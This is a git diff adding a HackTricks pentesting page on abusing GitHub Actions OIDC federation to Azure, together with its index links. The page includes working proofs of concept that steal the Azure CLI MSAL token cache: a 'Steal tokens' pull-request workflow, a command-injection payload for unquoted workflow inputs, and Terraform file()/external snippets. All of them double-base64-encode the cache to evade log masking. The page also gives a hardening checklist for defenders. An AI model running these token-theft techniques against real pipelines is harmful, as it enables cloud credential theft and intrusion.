Merge pull request #209 from HackTricks-wiki/update_GitHub_Actions__A_Cloudy_Day_for_Security_-_Part_2_20250915_124429

GitHub Actions A Cloudy Day for Security - Part 2
This commit is contained in:
SirBroccoli
2025-09-30 01:05:33 +02:00
committed by GitHub
3 changed files with 259 additions and 1 deletions

View File

@@ -404,6 +404,7 @@
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
- [Az - Tokens & Public Applications](pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md)
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)

View File

@@ -480,7 +480,7 @@ jobs:
- run: ls tmp/checkout
```
### Accessing AWS and GCP via OIDC
### Accessing AWS, Azure and GCP via OIDC
Check the following pages:
@@ -488,6 +488,10 @@ Check the following pages:
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}

View File

@@ -0,0 +1,253 @@
# Azure Federation Abuse (GitHub Actions OIDC / Workload Identity)
{{#include ../../../banners/hacktricks-training.md}}
## Overview
GitHub Actions can federate to Azure Entra ID (formerly Azure AD) using OpenID Connect (OIDC). A GitHub workflow requests a shortlived GitHub ID token (JWT) that encodes details about the run. Azure validates this token against a Federated Identity Credential (FIC) on an App Registration (service principal) and exchanges it for Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
Azure validates at least:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
- sub: must match the configured FIC Subject identifier
> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.
## GitHub ID token quick PoC
```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
```
To force Azure audience on token request:
```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```
## Azure setup (Workload Identity Federation)
1) Create App Registration (service principal) and grant least privilege (e.g., Storage Blob Data Contributor on a specific storage account).
2) Add Federated identity credentials:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: tightly scoped to the intended workflow/run context (see Scoping and risks below).
3) Use azure/login to exchange the GitHub ID token and sign in the Azure CLI:
```yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
```
Manual exchange example (Graph scope shown; ARM or other resources similarly):
```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```
## GitHub OIDC subject (sub) anatomy and customization
Default sub format: repo:<org>/<repo>:<context>
Context values include:
- environment:<env>
- pull_request (PR triggers when not in an environment)
- ref:refs/(heads|tags)/<name>
Useful claims often present in the payload:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Customize sub composition via the GitHub API to include additional claims and reduce collision risk:
```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
```
Note: Colons in environment names are URLencoded (%3A), removing older delimiterinjection tricks against sub parsing. However, using nonunique subjects (e.g., only environment:<name>) is still unsafe.
## Scoping and risks of FIC subject types
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
- Risk: If the branch/tag is unprotected, any contributor can push and obtain tokens.
- Environment: sub=repo:<org>/<repo>:environment:<env>
- Risk: Unprotected environments (no reviewers) allow contributors to mint tokens.
- Pull request: sub=repo:<org>/<repo>:pull_request
- Highest risk: Any collaborator can open a PR and satisfy the FIC.
PoC: PRtriggered token theft (exfiltrate the Azure CLI cache written by azure/login):
```yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```
Related file locations and notes:
- Linux/macOS: ~/.azure/msal_token_cache.json holds MSAL tokens for az CLI sessions
- Windows: msal_token_cache.bin under user profile; DPAPIprotected
## Reusable workflows and job_workflow_ref scoping
Calling a reusable workflow adds job_workflow_ref to the GitHub ID token, e.g.:
```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```
FIC example to bind both caller repo and the reusable workflow:
```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```
Configure claims in the caller repo so both repo and job_workflow_ref are present in sub:
```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```
Warning: If you bind only job_workflow_ref in the FIC, an attacker could create a different repo in the same org, run the same reusable workflow on the same ref, satisfy the FIC, and mint tokens. Always include the caller repo as well.
## Code execution vectors that bypass job_workflow_ref protections
Even with properly scoped job_workflow_ref, any callercontrolled data that reaches shell without safe quoting can lead to code execution inside the protected workflow context.
Example vulnerable reusable step (unquoted interpolation):
```yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
```
Malicious caller input to execute commands and exfiltrate the Azure token cache:
```yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```
## Terraform plan as an execution primitive in PRs
Treat terraform plan as code execution. During plan, Terraform can:
- Read arbitrary files via functions like file()
- Execute commands via the external data source
Example to exfiltrate Azure token cache during plan:
```hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```
Or use external to run arbitrary commands:
```hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```
Granting FICs usable on PRtriggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
## Hardening checklist
- Never use sub=...:pull_request for sensitive FICs
- Protect any branch/tag/environment referenced by FICs (branch protection, environment reviewers)
- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
- Customize GitHub OIDC sub to include unique claims (e.g., repo, job_workflow_ref, repository_owner)
- Eliminate unquoted interpolation of caller inputs into run steps; encode/quote safely
- Treat terraform plan as code execution; restrict or isolate identities in PR contexts
- Enforce least privilege on App Registrations; separate identities for plan vs apply
- Pin actions and reusable workflows to commit SHAs (avoid branch/tag pins)
## Manual testing tips
- Request a GitHub ID token inworkflow and print it base64 to avoid masking
- Decode JWT to inspect claims: iss, aud, sub, job_workflow_ref, repository, ref
- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
- After azure/login, read ~/.azure/msal_token_cache.json to verify token material presence
## References
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
{{#include ../../../banners/hacktricks-training.md}}